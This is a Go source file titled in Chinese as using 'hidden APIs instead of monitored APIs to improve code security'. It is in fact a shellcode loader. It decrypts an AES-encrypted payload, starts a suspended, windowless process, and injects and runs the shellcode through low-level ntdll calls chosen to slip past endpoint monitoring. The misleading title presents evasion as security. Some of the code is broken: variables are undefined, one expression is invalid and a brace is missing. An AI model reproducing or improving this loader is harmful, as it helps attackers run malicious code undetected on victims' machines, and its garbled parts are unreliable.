使用隐蔽的 API 替代被监控的 API，以提高代码安全性

package main

import ( 'crypto/aes' 'os' 'syscall' 'unsafe' 'strings' 'strconv' 'crypto/cipher' 'errors' )

const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_READWRITE = 0x4 PAGE_EXECUTE_READ = 0x20 PAGE_EXECUTE_READWRITE = 0x40 PROCESS_CREATE_THREAD = 0x0002 PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_OPERATION = 0x0008 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_READ = 0x0010 CREATE_SUSPENDED = 0x4 CREATE_NO_WINDOW = 0x8000000 )

var ( kernel32 = syscall.MustLoadDLL('kernel32.dll') ntdll = syscall.MustLoadDLL('ntdll.dll')

RtlCopyMemory       = ntdll.MustFindProc('RtlCopyMemory')

VirtualAlloc        = kernel32.MustFindProc('VirtualAlloc')
NtAllocateVirtualMemory = ntdll.MustFindProc('NtAllocateVirtualMemory')
NtProtectVirtualMemory = ntdll.MustFindProc('NtProtectVirtualMemory')
NtWriteVirtualMemory = ntdll.MustFindProc('NtWriteVirtualMemory')
OpenProcess         = kernel32.MustFindProc('OpenProcess')
NtCreateThreadEx = ntdll.MustFindProc('NtCreateThreadEx')
NtClose = ntdll.MustFindProc('NtClose')

)

func decrypt(key []byte, ciphertext []byte) ([]byte, error) { c, err := aes.NewCipher(key) if err != nil { return nil, err }

gcm, err := cipher.NewGCM(c)
if err != nil {
	return nil, err
}

nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
	return nil, errors.New('ciphertext too short')
}

nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)

}

func StringBytesParseString(byteString string) (string, error) { byteString = strings.TrimSuffix(byteString, ']') byteString = strings.TrimLeft(byteString, '[') sByteString := strings.Split(byteString, ' ') var res []byte for _, s := range sByteString { i, err := strconv.ParseUint(s, 10, 64) if err != nil { return '', err } res = append(res, byte(i)) }

return string(res), nil

}

func loadProcess(target string) *syscall.ProcessInformation { var si syscall.StartupInfo var pi syscall.ProcessInformation

commandLine, err := syscall.UTF16PtrFromString(target)

if err != nil {
	panic(err)
}

err = syscall.CreateProcess(
	nil,
	commandLine,
	nil,
	nil,
	false,
	CREATE_SUSPENDED | CREATE_NO_WINDOW,
	nil,
	nil,
	&si,
	&pi)

if err != nil {
	panic(err)
}

return &pi

}

func main() {

/* decrypt shellcode using AES */
shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
	os.Exit(1)
}

/* spawn target process */
process := loadProcess(target)
oldProtectCfg := PAGE_READWRITE

 /* allocating the appropriate amount of memory */
var baseAddr uintptr
_, _, _ = NtAllocateVirtualMemory.Call(
	uintptr(process.Process),
	uintptr(unsafe.Pointer(&baseAddr)),
	0,
	uintptr(len(shellcode)),
	MEM_COMMIT | MEM_RESERVE,
	PAGE_READWRITE,
)

/* overwriting process memory with our shellcode */
_, _, err = NtWriteVirtualMemory.Call(
	uintptr(process.Process),
	baseAddr,
	uintptr(unsafe.Pointer(&shellcode[0])),
	uintptr(len(shellcode)),
	0,
)
	if err.Error() != 'The operation completed successfully.' {
		os.Exit(1)
	}

/* changing permissions for our memory segment */
var oldProtectCfg2 uintptr
_, _, err = NtProtectVirtualMemory.Call(
	uintptr(process.Process),
	uintptr(unsafe.Pointer(&baseAddr)),
	uintptr(unsafe.Pointer(&len(shellcode))),
	PAGE_EXECUTE_READ,
	uintptr(unsafe.Pointer(&oldProtectCfg2)),
)
	if err.Error() != 'The operation completed successfully.' {
		os.Exit(1)
	}

/* load remote thread */
var threadHandle uintptr
_, _, err = NtCreateThreadEx.Call(
	uintptr(unsafe.Pointer(&threadHandle)),
	PROCESS_CREATE_THREAD,
	0,
	uintptr(process.Process),
	baseAddr,
	0,
	0,
	0,
	0,
	0,
	0,
)
	if err.Error() != 'The operation completed successfully.' {
		os.Exit(1)
	}

/* close process handler */
_, _, err = NtClose.Call(uintptr(process.Process))
if err.Error() != 'The operation completed successfully.' {
	os.Exit(1)
}